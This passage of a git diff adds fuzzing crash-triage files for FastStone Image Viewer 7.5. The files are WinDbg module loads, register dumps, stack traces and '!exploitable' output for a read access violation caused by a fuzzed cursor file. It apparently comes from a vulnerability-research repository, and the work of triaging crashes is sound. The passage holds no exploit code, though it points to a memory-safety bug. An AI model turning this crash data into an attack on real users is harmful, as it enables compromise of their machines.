C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d74.1a54): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07f47b10 edx=00003879 esi=fce30010 edi=0f80cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-8.60997e-027 -9.84549e+021 178.868 -2.99452e-005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08028130 07fa5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0029f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0029f000 a6c6d3fa 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0029f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..997f27d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..bd3426e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9b0b8dd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1618: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1618: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1618.143c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0fffed2d ecx=07f37b10 edx=00003879 esi=cfe30010 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.13089e+023 5.23556e+008 -1.16365e+024 -7.51305e-015 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00266000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00266000 20d0ad20 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00266000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9b0b8dd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1618: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1618: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 